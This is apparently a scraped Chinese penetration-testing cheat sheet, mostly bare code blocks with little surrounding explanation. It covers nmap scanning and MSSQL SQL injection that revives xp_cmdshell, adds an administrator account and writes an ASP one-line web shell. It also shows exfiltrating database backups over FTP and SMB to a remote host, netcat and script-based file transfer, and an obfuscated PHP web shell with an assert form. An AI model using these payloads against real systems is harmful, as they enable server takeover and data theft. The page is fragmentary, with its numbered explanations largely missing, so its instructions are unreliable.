1
|
wget http://nmap.org/dist/nmap-6.46.tar.bz2
|
(最新版)
1
|
wget http://nmap.org/dist/nmap-6.00.tgz
|
(稳定版)
1
|
tar -zxvf nmap-6.00.tar.bz2;mv nmap-6.00 nmap
|
1
|
tar -jxvf nmap-6.46.tar.bz2;mv nmap-6.46 nmap
|
1
2
3
|
cd nmap
./configure
make
|
1
|
./nmap -h
|
1
|
yum install gcc gcc-c++
|
1
2
|
./nmap -sP 192.168.0.1/24
./nmap -sP 172.16.0.1/19
|
1
|
./nmap -sS -iL ip.txt
|
1
|
./nmap -sT -PN -O -A -v -iL ip.txt
|
1
|
nmap –script=firewalk –traceroute 192.168.0.1
|
1
|
tar -zcvf /home/backup/feiji.jpg /home/web/*
|
1
|
dir c:/ /s /b | find /i “feiji”
|
1
|
REG ADD HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal” “Server/Wds/rdpwd/Tds/tcp/ /v PortNumber /t REG_DWORD /D 00001000 /f
|
1
|
REG ADD HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal” “Server/WinStations/RDP-Tcp/ /v PortNumber /t REG_DWORD /D 00001000 /f
|
1
|
“cqmygysdss”,“CqMyGySdSs”,“cqmyg,ysdsss”,“CQMYG,ysdss”
|
1
|
?id=1234;and (select count(*) from master.dbo.sysobjects where xtype=”X” and name =’xp_cmdshell’)
|
(2)若存储过程被删掉,则尝试恢复。
1
|
?id=1234;and exec sp_addextendepro xp_cmdshell,’xplog70.dll’
|
(3)若出现下面的错误,可以尝试如下方法:
无法装载 DLL xpsql70.dll 或该DLL 所引用的某一DLL。原因126 (找不到指定模块)。
首先执行
1
|
exec sp_dropextendeproc “xp_cmdshell”
|
然后执行
1
|
sp_addextendeproc “xp_cmdshell”,”xpsql70.dll”
|
无法装载xpweb70.dll 中找到函数xp_cmdshell 原因127
首先执行 exec sp_dropextendeproc “xp_cmdshell” ,然后执行
1
|
exec sp_addextendeproc “xp_cmdshell”,”xpweb70.dll”
|
9、则利用存储过程,执行添加用户的操作。
1
|
?id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”– 其中aaa为用户名,bbb为密码。
|
添加到管理员组:
1
|
?id=1234 ;exec master..xp_cmdshell “net localgroup administrators aaa/add ”
|
10、当然当知道web虚拟路径的时候,可以写入一句话木马来完成对计算机的控制。
1
|
?id=1234;exec master..xp_cmdshell “copy c:/windows/system32/cmd.exe c:/inetpub/scripts/cmd.exe”
|
1
|
echo ^<^%execute^(request^(“eval”^)^)^%^> c:/inetpub/wwwroot/cms/test123456.asp
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
exec master.dbo.xp_cmdshell “del c:/bak”
– backup database 数据库名 to disk = ‘c:/bak’ –备份整个库
exec master.dbo.xp_cmdshell ‘bcp 数据库名.dbo.表名 out c:/bak -c’ –备份单个表(文本)
exec master.dbo.xp_cmdshell “echo open IP地址 > c:/ftp.txt”
exec master.dbo.xp_cmdshell “echo ftp账户 >> c:/ftp.txt”
exec master.dbo.xp_cmdshell “echo ftp密码 >> c:/ftp.txt”
exec master.dbo.xp_cmdshell “echo binary >> c:/ftp.txt”
exec master.dbo.xp_cmdshell “echo put c:/bak >> c:/ftp.txt”
exec master.dbo.xp_cmdshell “ftp -s:c:/ftp.txt”
exec master.dbo.xp_cmdshell “del c:/ftp.txt”
exec master.dbo.xp_cmdshell “del c:/bak”
exec master..xp_cmdshell ‘net use //xx.xx.xx.xx/d$/test “pass” /user:”user”‘
exec master..xp_cmdshell ‘bcp test.dbo.test out //xx.xx.xx.xx/d$/test/1.txt -c -Slocalhost -Uuser -Ppass’
|
安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可!
13、巧用netcat下载文件
在本机执行
1
|
cat file | nc -l 1234
|
这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。
1
|
nc host_ip 1234 > file
|
这条命令将连接攻击者的电脑,接受file内容保存。
1
2
3
4
5
6
|
#!/usr/bin/perl
use LWP::Simple;
getstore(“http://domain/file”, “file”);
执行脚本文件是这样
root@kali:~# perl test.pl
|
1
2
3
4
5
6
7
8
|
#!/usr/bin/python
import urllib2
u = urllib2.urlopen(‘http://domain/file’)
localFile = open(‘local_file’, ‘w’)
localFile.write(u.read())
localFile.close()
执行脚本文件是这样
root@kali:~# python test.py
|
1
2
3
4
5
6
7
8
|
#!/usr/bin/ruby
require ‘net/http’
Net::HTTP.start(“www.domain.com”) { |http|
r = http.get(“/file”)
open(“save_location”, “wb”) { |file|
file.write(r.body)
}
}
|
执行脚本文件是这样
1
|
root@kali:~# ruby test.rb
|
1
2
3
4
5
6
7
8
|
<?php
$data = @file(“http://example.com/file”);
$lf = “local_file”;
$fh = fopen($lf, ‘w’);
fwrite($fh, $data[0]);
fclose($fh);
?>
|
1
|
root@kali:~# php test.php
|
1
2
3
4
5
6
7
8
9
10
|
<?php
@$_++; // $_ = 1
$__=(“#”^“|”); // $__ = _
$__.=(“.”^“~”); // _P
$__.=(“/”^“`”); // _PO
$__.=(“|”^“/”); // _POS
$__.=(“{“^“/”); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?><span style=“font-size: 14pt;”><code style=“color: black !important;”>
</code></span>
|
也可以写成:
1
|
$__=(“#”^“|”).(“.”^“~”).(“/”^“`”).(“|”^“/”).(“{“^“/”);
|
1
2
3
4
5
6
7
|
<html><body>
<form name=“send” action=“info.php” method=“post”>
<input type=“text” name=“1″ />
<input type=“hidden” name=“0″ value=“assert” />
<input name=“提交” type=“submit” value=“提交” />
</form>
</body></html>
|
1
|
reg export HKLM/Software/Microsoft/Windows/Currentversion/Uninstall tmp.txt
|
【via@91ri.org团队】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号